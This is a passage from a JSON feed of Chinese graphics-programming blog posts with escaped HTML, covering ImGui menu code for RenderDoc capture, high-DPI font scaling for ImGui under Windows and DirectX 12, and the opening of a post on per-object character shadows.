class=\"n\"\u003eCaptureSingleFrame\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eBeginMenu\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;RenderDoc\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eMenuItem\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Capture\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Alt+C\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enullptr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eIsLoaded\u003c/span\u003e\u003cspan class=\"p\"\u003e()))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eCaptureSingleFrame\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eSeparatorText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Information\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eBeginMenu\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Library\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eTextUnformatted\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eGetLibraryPath\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003ec_str\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEndMenu\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eBeginMenu\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;API Version\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003emajor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eminor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epatch\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eGetVersion\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;%d.%d.%d\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emajor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eminor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epatch\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEndMenu\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eBeginMenu\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Num Captures\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;%d\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eGetNumCaptures\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEndMenu\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEndMenu\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEndMainMenuBar\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cdiv class=\"footnote\"\u003e\n\u003chr /\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/baldurk/renderdoc/issues/418\"\u003ed3d debug runtime doesn't work with RenderDoc? · Issue #418 · baldurk/renderdoc (github.com)\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:1\" title=\"Jump back to footnote 1 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/baldurk/renderdoc/blob/v1.x/renderdoc/driver/d3d12/d3d12_device.h\"\u003erenderdoc/renderdoc/driver/d3d12/d3d12_device.h at v1.x · baldurk/renderdoc (github.com)\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:2\" title=\"Jump back to footnote 2 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/renderdoc-integration/"},{"title":"ImGui 适配高 DPI 显示器","time":"2024-07-21T15:42:26Z","content":"\u003ch1 id=\"ImGui-适配高-DPI-显示器\"\u003eImGui 适配高 DPI 显示器\u003ca class=\"headerlink\" href=\"#ImGui-适配高-DPI-显示器\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e解决高 DPI 显示器下 ImGui 字体模糊的问题。\u003c/p\u003e\n\u003ch2 id=\"DPI\"\u003eDPI\u003ca class=\"headerlink\" href=\"#DPI\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003eDPI 全称 Dots per inch,即每英寸的点数,对于显示器来说就是每英寸的像素数量。\u003c/p\u003e\n\u003ch2 id=\"Display-Scale-Factor\"\u003eDisplay Scale Factor\u003ca class=\"headerlink\" href=\"#Display-Scale-Factor\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e早期的显示器基本都是 96 DPI 的,所以那时候的应用程序 UI 都是以 96 DPI 为标准的。现在显示器的 DPI 普遍比 96 高,这意味着同样大小的显示器,像素数量变多了。早期的应用程序放到现在的显示器上,尽管占用的像素数量和以前一样,但是显示器的像素密度大了,所以看上去应用程序的界面变小了。\u003c/p\u003e\n\u003cp\u003e为了解决上面的问题,Windows 引入了一个 Display Scale Factor,一般是显示器 DPI 除以基准值 96 的结果。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"显示缩放\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240722000504.png\" /\u003e\u003c/p\u003e\n\u003cp\u003eWindows 会骗应用程序说 DPI 还是 96,让它以 \u003ccode\u003eWindowSize / DisplayScaleFactor\u003c/code\u003e 的大小绘制界面,然后 Windows 再把界面放大 \u003ccode\u003eDisplayScaleFactor\u003c/code\u003e 倍。但是这样会导致界面变的不清晰。\u003c/p\u003e\n\u003ch2 id=\"DPI-感知\"\u003eDPI 感知\u003ca class=\"headerlink\" href=\"#DPI-感知\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e就是自己处理 DPI,不让 Windows 缩放。在应用启动时,调用 API 设置 Per-Monitor (V2) DPI Awareness。\u003ca href=\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setprocessdpiawarenesscontext\"\u003eSetProcessDpiAwarenessContext function (winuser.h) - Win32 apps | Microsoft Learn\u003c/a\u003e。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eSetProcessDpiAwarenessContext\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cblockquote\u003e\n\u003cp\u003eImGui 提供了 \u003ccode\u003eImGui_ImplWin32_EnableDpiAwareness()\u003c/code\u003e,但是我这里调用它以后显示有问题。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e利用 ImGui 的 API 可以方便地拿到缩放值(Display Scale Factor)。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edpiScale\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui_ImplWin32_GetDpiScaleForHwnd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003em_WindowHandle\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e初始化导入字体时,将字体占用的像素大小改为:96 DPI 下的基准值乘上 \u003ccode\u003edpiScale\u003c/code\u003e。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eImGuiIO\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eio\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eGetIO\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// ...\u003c/span\u003e\n\u003cspan class=\"n\"\u003eio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFonts\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eAddFontFromFileTTF\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;...\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e15.0f\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edpiScale\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e在窗体消息函数里,收到 \u003ccode\u003eWM_DPICHANGED\u003c/code\u003e(DPI 变化)时,重新加载字体,应用新的缩放,再设置窗体大小。\u003ca href=\"https://learn.microsoft.com/en-us/windows/win32/hidpi/wm-dpichanged\"\u003eWM_DPICHANGED message (WinUser.h) - Win32 apps | Microsoft Learn\u003c/a\u003e。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"no\"\u003eWM_DPICHANGED\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edpiScale\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui_ImplWin32_GetDpiScaleForHwnd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003em_WindowHandle\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eio\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eGetIO\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFonts\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eClear\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFonts\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eAddFontFromFileTTF\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;...\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e15.0f\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edpiScale\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFonts\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eBuild\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui_ImplDX12_InvalidateDeviceObjects\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRECT\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprcNewWindow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRECT\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003elParam\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSetWindowPos\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehWnd\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprcNewWindow\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eleft\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprcNewWindow\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprcNewWindow\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprcNewWindow\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eleft\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprcNewWindow\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003ebottom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprcNewWindow\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSWP_NOZORDER\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSWP_NOACTIVATE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e在运行时,修改字体以后,先调用 \u003ccode\u003eio.Fonts-\u0026gt;Build()\u003c/code\u003e 在 CPU 上重新构建字体图集,然后调用 \u003ccode\u003eImGui_ImplDX12_InvalidateDeviceObjects()\u003c/code\u003e 强制重新创建 GPU 上的资源。一开始初始化时不需要调用这两个函数,因为那时候什么缓存都没有,ImGui 会自动构建。\u003c/p\u003e\n\u003chr /\u003e\n\u003cp\u003e理论上,应该再加上\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eGetStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eScaleAllSizes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edpiScale\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e但实际上,Style 里不少参数都是整数,每次 Scale 之后都会进行取整,多次 Scale 就会积累很多误差,因此我个人不推荐。\u003c/p\u003e\n\u003ch2 id=\"参考\"\u003e参考\u003ca class=\"headerlink\" href=\"#参考\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.microsoft.com/en-us/windows/win32/hidpi/high-dpi-desktop-application-development-on-windows\"\u003eHigh DPI Desktop Application Development on Windows - Win32 apps | Microsoft Learn\u003c/a\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/imgui-handle-high-dpi/"},{"title":"仿星铁渲染:主光源角色阴影","time":"2024-07-11T10:45:29Z","content":"\u003ch1 id=\"仿星铁渲染主光源角色阴影\"\u003e仿星铁渲染:主光源角色阴影\u003ca class=\"headerlink\" href=\"#仿星铁渲染主光源角色阴影\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e角色阴影使用了逐物体阴影技术。因为代码有点多,所以只挑一些关键的写。\u003c/p\u003e\n\u003ch2 id=\"逐物体阴影\"\u003e逐物体阴影\u003ca class=\"headerlink\" href=\"#逐物体阴影\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e逐物体阴影(Per-Object Shadow)就是给物体单独生成一张 Shadow Map,解决物体在默认的 Cascaded Shadow Map 上占比较小,阴影精度低的问题,顺便还能把场景阴影和角色阴影分开。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Per-Object Shadow Map,角色尽可能撑满整张图\" src=\"../../../obsidian-vault/attachments/per-object-shadow-map.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e代码大体上按照 URP 的 \u003ca href=\"https://github.com/Unity-Technologies/Graphics/blob/master/Packages/com.unity.render-pipelines.universal/Runtime/Passes/MainLightShadowCasterPass.cs\"\u003e\u003ccode\u003eMainLightShadowCasterPass\u003c/code\u003e\u003c/a\u003e 写,但是一些矩阵需要自己计算。\u003c/p\u003e\n\u003ch3 